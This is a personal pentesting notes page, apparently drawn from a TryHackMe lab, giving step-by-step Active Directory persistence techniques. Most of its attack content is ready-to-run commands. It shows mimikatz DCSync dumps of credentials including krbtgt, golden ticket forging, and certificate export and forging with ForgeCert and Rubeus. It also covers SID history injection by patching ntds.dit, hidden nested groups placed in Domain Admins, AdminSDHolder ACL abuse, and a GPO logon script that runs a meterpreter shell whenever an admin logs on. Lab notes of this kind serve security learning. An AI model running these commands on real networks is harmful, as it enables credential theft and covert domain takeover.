husk/build/misc/active_directory/ad_persistence.html

520 lines
52 KiB
HTML
Raw Normal View History

2022-09-02 09:05:59 +02:00
<!doctype html>
<html lang="en">
<center>
<head>
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
<!-- mathjax -->
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
<script type="text/javascript" src="/static/js/search.js"></script>
<link rel="stylesheet" href="/static/stylesheet.css">
<link rel="stylesheet" href="/static/auto-complete.css">
<br>
<title>In the Open</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- topmenu -->
<div class="menu">
<a href="/" style="text-decoration:none">In the Open</a>
</div>
<div class="search-container">
<label for="search-by"><i class="fas fa-search"></i></label>
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
<!--button type="submit"><i class="search"></i>&#128269;</button>-->
<span data-search-clear=""><i class="fas fa-times"></i></span>
</div>
</div>
<div class="menu">
</div>
<!--br><br-->
</center>
<p></p>
<div class="columns">
<!-- Sidebar -->
<div class="column column-1">
<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
</ul>
</div>
<div class="column column-2">
<span class="body">
<style>pre { line-height: 125%; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */</style>
<div class="column column-3">
<ul>
<li><a href="#active-directory-persistance">Active Directory Persistance</a><ul>
<li><a href="#using-credentials">Using Credentials</a><ul>
<li><a href="#usage">Usage</a></li>
</ul>
</li>
<li><a href="#using-tickets">Using Tickets</a><ul>
<li><a href="#usage_1">Usage</a></li>
</ul>
</li>
<li><a href="#using-certificates">Using Certificates</a></li>
<li><a href="#using-sid-history">Using SID History</a><ul>
<li><a href="#usage_2">Usage</a></li>
</ul>
</li>
<li><a href="#using-group-memberships">Using Group Memberships</a><ul>
<li><a href="#usage_3">Usage</a></li>
</ul>
</li>
<li><a href="#using-acls">Using ACLs</a></li>
<li><a href="#usage_4">Usage</a></li>
<li><a href="#using-gpos">Using GPOs</a><ul>
<li><a href="#usage_5">Usage</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<h1 id="active-directory-persistance">Active Directory Persistance</h1>
<h2 id="using-credentials">Using Credentials</h2>
<ul>
<li><strong>Knowledge Consistency Checker (KCC)</strong> replicates credentials through the forest </li>
<li><strong>DC Synchronisation</strong> is the process of syncing credentials between domain controllers, it can be used to gather credentials<ul>
<li>Credentials for multiple local administrators</li>
<li>Service account with delegation permissions</li>
<li><strong>Service accounts with high AD permissions</strong>, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM)</li>
</ul>
</li>
</ul>
<h3 id="usage">Usage</h3>
<ul>
<li>Use mimikatz</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /user:&lt;username&gt;
</code></pre></div>
<ul>
<li>To query the krbtgt user</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /user:krbtgt.&lt;domain&gt;
</code></pre></div>
<ul>
<li>Query everything</li>
</ul>
<div class="codehilite"><pre><span></span><code>lsadump::dcsync /domain:&lt;domain&gt; /all
</code></pre></div>
<h2 id="using-tickets">Using Tickets</h2>
<ul>
<li>
<p><strong>Golden Ticket</strong> crafted TGT, </p>
<ul>
<li>Needs domain name, domain SID and a user ID to impersonate</li>
<li>Needs krbtgt NTLM to sign the ticket</li>
<li>krbtgt hash never rotates automatically, only refreshed manually</li>
<li>krbtgt hash bypasses smart cards</li>
<li>TGT can not be older than 20 minutes</li>
<li>TGT lifetime can be set to years</li>
<li>TGT can be signed anywhere as long as the krbtgt hash is known</li>
</ul>
</li>
<li>
<p><strong>Silver Ticket</strong> crafted TGS</p>
<ul>
<li>Signed by targeted service account on a host</li>
<li>DC is never contacted, no contact to any TGT or KDC</li>
<li>Non existing user can be used with a local admin group's SID</li>
</ul>
</li>
</ul>
<h3 id="usage_1">Usage</h3>
<ul>
<li>Craft a golden ticket</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADDomain
</code></pre></div>
<div class="codehilite"><pre><span></span><code>kerberos::golden /admin:MyLittleAdministrator /domain:&lt;domain&gt; /id:500 /sid:&lt;Domain SID&gt; /target:&lt;Hostname of server being targeted&gt; /rc4:&lt;NTLM Hash of machine account of target&gt; /service:cifs /ptt
</code></pre></div>
<h2 id="using-certificates">Using Certificates</h2>
<ul>
<li>Private key extraction via mimikatz which makes it exportable</li>
</ul>
<div class="codehilite"><pre><span></span><code>crypto::certificates /systemstore:local_machine
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /export
</code></pre></div>
<ul>
<li>Password of the certificate is <code>mimikatz</code> afterwards</li>
<li>Use <a href="https://github.com/GhostPack/ForgeCert">ForgeCert</a> to create certificate</li>
</ul>
<div class="codehilite"><pre><span></span><code>ForgeCert.exe --CaCertPath &lt;domain&gt;.pfx --CaCertPassword mimikatz --Subject <span class="nv">CN</span><span class="o">=</span>User --SubjectAltName Administrator@&lt;domain&gt; --NewCertPath Administrator.pfx --NewCertPassword SecretPassword
</code></pre></div>
<p>*
* Use Rubeus to request the TGT via</p>
<div class="codehilite"><pre><span></span><code>Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:&lt;path to certificate&gt; /password:&lt;certificate file password&gt; /outfile:&lt;name of file to write TGT to&gt; /domain:&lt;domain&gt; /dc:&lt;IP of domain controller&gt;
</code></pre></div>
<ul>
<li>Load the TGT via mimikatz</li>
</ul>
<div class="codehilite"><pre><span></span><code>privilege::debug
kerberos::ptt administrator.kirbi
dir <span class="se">\\</span>&lt;dc.example.com&gt;<span class="se">\C</span>$<span class="se">\</span>
</code></pre></div>
<h2 id="using-sid-history">Using SID History</h2>
<ul>
<li>Account logs on -&gt; associated SIDs (group SIDs) added to the user's token -&gt; permissions are set in this way</li>
<li>SIDs of controlled accounts may be added to the history</li>
<li>Add Administrator group to the associated SIDs / the token</li>
<li><code>ntds.dit</code> stores all AD info</li>
<li>User does not come up on checking groups, the user stays hidden unless searched for explicitly</li>
</ul>
<h3 id="usage_2">Usage</h3>
<ul>
<li>Check SID history</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADUser &lt;your ad username&gt; -properties sidhistory,memberof
</code></pre></div>
<ul>
<li>Check SID of domain admins</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADGroup <span class="s2">&quot;Domain Admins&quot;</span>
</code></pre></div>
<ul>
<li>Use <a href="https://github.com/MichaelGrafnetter/DSInternals">DSInternals</a> to patch <code>ntds.dit</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName <span class="s1">&#39;username of our low-priveleged AD account&#39;</span> -SidHistory <span class="s1">&#39;SID to add to SID History&#39;</span> -DatabasePath C:<span class="se">\W</span>indows<span class="se">\N</span>TDS<span class="se">\n</span>tds.dit
Start-Service -Name ntds
</code></pre></div>
<ul>
<li>Verify users SIDs</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADUser &lt;username&gt; -Properties sidhistory
dir <span class="se">\\</span>&lt;dc.example.com&gt;<span class="se">\C</span>$<span class="se">\</span>
</code></pre></div>
<h2 id="using-group-memberships">Using Group Memberships</h2>
<ul>
<li>Most are monitored security wise</li>
<li>Interesting group for persistence are <ul>
<li><code>IT Support</code></li>
<li>Local administrational accounts</li>
<li>Groups with ownership over GPO</li>
</ul>
</li>
<li>Nested groups are used to organize an AD<ul>
<li><code>Helpdesk</code>, <code>Network Manager</code> is a nested group of <code>IT Support</code></li>
</ul>
</li>
<li>Joining a nested groups is not as alerting as joining a more general group</li>
</ul>
<h3 id="usage_3">Usage</h3>
<ul>
<li>Create a new subgroup</li>
</ul>
<div class="codehilite"><pre><span></span><code>New-ADGroup -Path <span class="s2">&quot;OU=IT,OU=People,DC=&lt;SUBDC&gt;,DC=&lt;DOMAIN&gt;,DC=COM&quot;</span> -Name <span class="s2">&quot;&lt;username&gt; Steam Network 1&quot;</span> -SamAccountName <span class="s2">&quot;&lt;username&gt;_steam_network1&quot;</span> -DisplayName <span class="s2">&quot;&lt;username&gt; Steam Network 1&quot;</span> -GroupScope Global -GroupCategory Security
</code></pre></div>
<ul>
<li>And nesting another one</li>
</ul>
<div class="codehilite"><pre><span></span><code>New-ADGroup -Path <span class="s2">&quot;OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC&quot;</span> -Name <span class="s2">&quot;&lt;username&gt; Steam Network 2&quot;</span> -SamAccountName <span class="s2">&quot;&lt;username&gt;_steam_network2&quot;</span> -DisplayName <span class="s2">&quot;&lt;username&gt; Steam Network 2&quot;</span> -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity <span class="s2">&quot;&lt;username&gt;_steam_network2&quot;</span> -Members <span class="s2">&quot;&lt;username&gt;_steam_network1&quot;</span>
</code></pre></div>
<ul>
<li>Do it a couple of times again and add the last group to Domain Admins</li>
</ul>
<div class="codehilite"><pre><span></span><code>Add-ADGroupMember -Identity <span class="s2">&quot;Domain Admins&quot;</span> -Members <span class="s2">&quot;&lt;username&gt;_2&quot;</span>
</code></pre></div>
<ul>
<li>Add the low priv user to the first group</li>
</ul>
<div class="codehilite"><pre><span></span><code>Add-ADGroupMember -Identity <span class="s2">&quot;&lt;username&gt;_steam_networks1&quot;</span> -Members <span class="s2">&quot;&lt;low privileged username&gt;&quot;</span>
</code></pre></div>
<ul>
<li>And check</li>
</ul>
<div class="codehilite"><pre><span></span><code>dir <span class="se">\\</span>&lt;domain&gt;<span class="se">\c</span>$<span class="se">\</span>
</code></pre></div>
<ul>
<li>Verify nested group</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-ADGroupMember -Identity <span class="s2">&quot;Domain Admins&quot;</span>
</code></pre></div>
<h2 id="using-acls">Using ACLs</h2>
<ul>
<li>AD group templates like <code>AdminSDHolder</code> can be used to copy its ACL through the AD's protected groups<ul>
<li>Domain Admins</li>
<li>Administrators </li>
<li>Enterprise/Schema Administrator</li>
</ul>
</li>
<li>SDProp as a process maps the ACLs to protected groups every hour</li>
</ul>
<h2 id="usage_4">Usage</h2>
<ul>
<li><code>runas /netonly /user:Administrator cmd.exe</code> and therein open <code>mmc</code></li>
<li>File -&gt; Add Snap-In -&gt; Active Directory Users and Groups</li>
<li>View -&gt; Advanced Features</li>
<li>AdminSDHolder group in Domain -&gt; System</li>
<li>
<p>Right click the group -&gt; Properties -&gt; Security -&gt; Add user and Check Names -&gt; OK -&gt; Allow on Full Control -&gt; Apply -&gt; OK</p>
</li>
<li>
<p>Add the user to other groups with the new propagated permissions</p>
</li>
</ul>
<h2 id="using-gpos">Using GPOs</h2>
<ul>
<li>Restricted Group Memberships, admin access to every host in the domain</li>
<li>Logon Script Deployment, get a shell when a user logs in</li>
</ul>
<h3 id="usage_5">Usage</h3>
<ul>
<li>Craft a portable executable shell via meterpreter</li>
<li>Craft a batch script</li>
</ul>
<div class="codehilite"><pre><span></span><code>copy <span class="se">\\</span>&lt;domain&gt;<span class="se">\s</span>ysvol<span class="se">\&lt;</span>subdomain&gt;<span class="se">\s</span>cripts<span class="se">\s</span>hell.exe C:<span class="se">\w</span>indows<span class="se">\t</span>mp<span class="se">\_</span>shell.exe <span class="o">&amp;&amp;</span> timeout /t <span class="m">20</span> <span class="o">&amp;&amp;</span> C:<span class="se">\w</span>indows<span class="se">\t</span>mp<span class="se">\s</span>hell.exe
</code></pre></div>
<ul>
<li>Copy both to the sysvol</li>
<li><code>runas /netonly /user:Administrator cmd.exe</code> and therein open <code>mmc</code></li>
<li>File -&gt; Add/Remove Snap-in -&gt; Group Policy Management -&gt; Add -&gt; OK</li>
<li>Right click Admins OU -&gt; Create GPO in the domain -&gt; link it -&gt; name it</li>
<li>Right click created policy -&gt; Enforced</li>
<li>Right click created policy -&gt; edit -&gt; User Configuration / Policies -&gt; Window Settings -&gt; Scripts (logon/logoff)</li>
<li>Right click Logon -&gt; Properties -&gt; Scripts tab -&gt; Add -&gt; Browse</li>
<li>Select the previously created batch script and PE</li>
<li>
<p>Catch the shell when an admin logs on</p>
</li>
<li>
<p>Once again open mmc </p>
</li>
<li>Right click Enterprise Domain Controllers -&gt; Edit settings, delete, modify security</li>
<li>
<p>Click on every other group except Authenticated Users and remove them</p>
</li>
<li>
<p>Add -&gt; <code>Domain Computers</code> -&gt; check names - OK</p>
</li>
<li>Read Permissions -&gt; OK -&gt; Authenticated Users -&gt; Remove</li>
</ul>
</span>
</div>
</div>
<div id="footer">
<p></p>
<center>
&copy; Stefan Friese
</center>
</div>
<script>
function linkClick(obj) {
if (obj.open) {
console.log('open');
if (sessionStorage.getItem(obj.id) && !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
} else {
console.log('closed');
sessionStorage.removeItem(obj.id);
}
// if (obj.open) {
// console.log('open');
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === obj.id)) {
// sessionStorage.removeItem("opened");
// }
// sessionStorage.setItem("opened", obj.id);
// console.log(obj);
// } else {
// console.log('closed');
// sessionStorage.removeItem("opened");
//
// }
}
//if ( sessionStorage.getItem("opened")) {
// var item = sessionStorage.getItem("opened")
// document.getElementById(item)['open'] = 'open';
//}
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length; i++ ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
// const detailsElement = document.querySelector('.details-sidebar');
// detailsElement.addEventListener('toggle', event => {
// if (event.target.open) {
// console.log('open');
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === detailsElement.id)) {
// sessionStorage.removeItem("opened");
// }
// sessionStorage.setItem("opened", detailsElement.id);
// console.log(detailsElement);
//
// } else {
// console.log('closed');
// sessionStorage.removeItem("opened");
//
// }
// });
//
// async function fetchIndexJSON() {
// const response = await fetch('/index.json');
// const index = await response.json();
// return index;
// }
// // Extract the `q` query parameter
//var queryStringRegex = /[\?&]q=([^&]+)/g;
//var matches = queryStringRegex.exec(window.location.search);
//if(matches && matches[1]) {
// var value = decodeURIComponent(matches[1].replace(/\+/g, '%20'));
//
//
// // fetchIndexJSON()
// // .then(index => { console.log(index['index']);});
// // Load the posts to search
// fetch('/index').then(function(posts) {
// // Remember to include Fuse.js before this script.
//
// var fuse = new Fuse(posts, {
// keys: ['title', 'tags', 'content'] // What we're searching
// });
//
// // Run the search
// var results = fuse.search(value);
// //console.log(results);
//
// // Generate markup for the posts, implement SearchResults however you want.
// // var $results = SearchResults(results);
//
// // Add the element to the empty <div> from before.
//// $('#searchResults').append($results);
// });
//}
</script>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js"></script>
<script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
</script>
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
</script>
</body>
</html>